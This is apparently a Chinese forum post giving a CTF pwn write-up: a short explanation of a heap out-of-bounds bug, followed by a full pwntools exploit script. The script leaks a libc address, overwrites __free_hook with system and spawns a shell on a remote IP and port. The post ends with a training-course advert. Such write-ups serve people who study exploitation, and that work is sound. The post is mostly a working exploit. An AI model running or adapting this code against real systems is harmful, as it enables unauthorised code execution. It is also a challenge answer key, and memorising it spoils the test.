队友不知道为什么没有发帖权限。。。

这是一道Pwn题，环境为Ubuntu 18.04
两个数组都存在越界，可以用edit single dog的功能修改luckydog的partner指针，然后修改lucky dog的partner名字造成任意地址写，在修改的过程中会输出修改后的内容可以用来leak，所以可以得到堆上main arena的地址，算出free hook 地址，修改free hook 为system地址后下一次save时调用free就可以拿到shell。

from pwn import *
#p = process('./apwn')
libc = ELF('./libc-2.27.so')
p = remote('211.159.175.39',8686)
def creat_single(name):
    p.recvuntil('>>')
    p.sendline('1')
    p.recvuntil('Name')
    p.send(name)
def creat_luck(name,partner):
    p.recvuntil('>>')
    p.sendline('2')
    p.recvuntil('Name')
    p.send(name)
    p.recvuntil('name')
    p.send(partner)
def save():
    p.recvuntil('>>')
    p.sendline('5')
    print p.recv()

def edit_single(idx,name):
    p.recvuntil('>>')
    p.sendline('3')
    p.recvuntil('which')
    p.sendline(str(idx))
    p.recvuntil('luck')
    p.send(name)

def edit_luck(idx,name,partner):
    p.recvuntil('>>')
    p.sendline('4')
    p.recvuntil('which')
    p.sendline(str(idx))
    p.recvuntil('name?')
    p.send(name)
    p.recvuntil('name')
    p.send(partner)
for i in range(80):
    print i
    creat_single(str(i))
creat_luck('XXX','YYY')
creat_luck('XXX','YYY')

edit_single(80,'\x50')
p.recvuntil('name: ')
addr = u64(p.recv(6).ljust(8,'\x00'))
info("heap:0x%x",addr)

edit_single(81,p64(addr))
edit_luck(0,'\x00',p64(0)+'\x91')
edit_single(80,'\x60')
edit_single(81,'\x60')
save()

edit_single(80,p64(addr+0x10))
edit_single(81,p64(addr+0x10))
save()
edit_single(80,p64(addr+0x10))
edit_single(81,p64(addr+0x10))
save()
edit_single(80,p64(addr+0x10))
edit_single(81,p64(addr+0x10))
save()
edit_single(80,p64(addr+0x10))
edit_single(81,p64(addr+0x10))
save()
edit_single(80,p64(addr+0x10))
edit_single(81,p64(addr+0x10))
save()
edit_single(80,p64(addr+0x10))
edit_single(81,p64(addr+0x10))
save()
edit_single(80,p64(addr+0x10))
edit_single(81,p64(addr+0x10))
save()

edit_single(80,'\xa0')
p.recvuntil('name: ')
addr = u64(p.recv(6).ljust(8,'\x00'))
print hex(addr)
ye = raw_input("right?")[:-1]
if ye == 'n':
    edit_single(80,'A'*8)
    p.recvuntil('A'*8)
    addr = u64(p.recv(6).ljust(8,'\x00'))
libc_base = addr - (0x7f645dae3ca0-0x7f645d6f8000)
info("libc:0x%x",libc_base)
free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']
info("freehook:0x%x",free_hook)
sh = libc_base +next(libc.search('/bin/sh'),)
info("sh:0x%x",sh)
edit_single(80,p64(free_hook))
edit_luck(0,'\x00',p64(system))
edit_single(81,p64(sh))
edit_single(80,p64(sh))

save()
p.interactive()

[培训]二进制漏洞攻防（第3期）；满10人开班；模糊测试与工具使用二次开发；网络协议漏洞挖掘；Linux内核漏洞挖掘与利用；AOSP漏洞挖掘与利用；代码审计。